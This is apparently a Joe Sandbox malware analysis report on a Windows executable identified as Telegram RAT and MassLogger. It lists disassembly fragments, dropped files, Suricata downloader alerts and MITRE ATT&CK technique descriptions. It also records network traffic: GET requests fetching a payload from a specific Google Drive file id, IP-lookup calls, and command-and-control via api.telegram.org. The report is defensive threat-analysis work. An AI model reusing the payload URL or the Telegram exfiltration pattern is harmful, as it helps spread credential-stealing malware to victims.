Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8F2F8h	6_2_36B8F042
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8C499h	6_2_36B8C1F2
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 36B8BBE9h	6_2_36B8B930
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then push 00000000h	6_2_3958BDF0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 3958882Dh	6_2_39588650
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395891B7h	6_2_39588650
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395823B0h	6_2_39582108
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then push 00000000h	6_2_3958C92F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_39588193
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39582C60h	6_2_395829B8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39581B00h	6_2_39581858
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39587318h	6_2_39587070
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39584ACAh	6_2_39584820
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_39587B4F
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_39588373
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39586610h	6_2_39586368
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39583DC0h	6_2_39583B18
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39584670h	6_2_395843C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	6_2_3958CBE7
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39583510h	6_2_39583268
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395854B0h	6_2_39585208
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39585D60h	6_2_39585AB8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39582808h	6_2_39582560
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39585058h	6_2_39584DB0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39586EC0h	6_2_39586C18
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395816A8h	6_2_39581400
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39587770h	6_2_395874C8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39581F58h	6_2_39581CB0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39584218h	6_2_39583F70
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395861B8h	6_2_39585F10
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39586A68h	6_2_395867C0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39581250h	6_2_39580FA8
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39585908h	6_2_39585660
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 395830B8h	6_2_39582E10
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then jmp 39583968h	6_2_395836C0
Source: C:\Users\user\Desktop\9Yn5tjyOgT.exe	Code function: 4x nop then push 00000000h	6_2_399DE7C8

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49990 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49992 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49994 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.6:49987 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.6:49984 -> 142.250.185.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_ HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1DSjlwqeKQZa9GEZPUUl4uS5KIqgLbDi_&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9Yn5tjyOgT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Magnetnaalen.Slu

C:\Users\user\AppData\Local\Iw\Vehefte190\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Vehefte190\Sensuousnesses.opk

C:\Users\user\AppData\Local\Iw\Vehefte190\Smaafejlene.Enh

C:\Users\user\AppData\Local\Iw\Vehefte190\prepares.pli

C:\Users\user\AppData\Local\Temp\nsh3992.tmp

C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
9Yn5tjyOgT.exe

Function 004034A5 Relevance: 87.9, APIs: 32, Strings: 18, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040591F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 00405F0D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Function 738E1777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre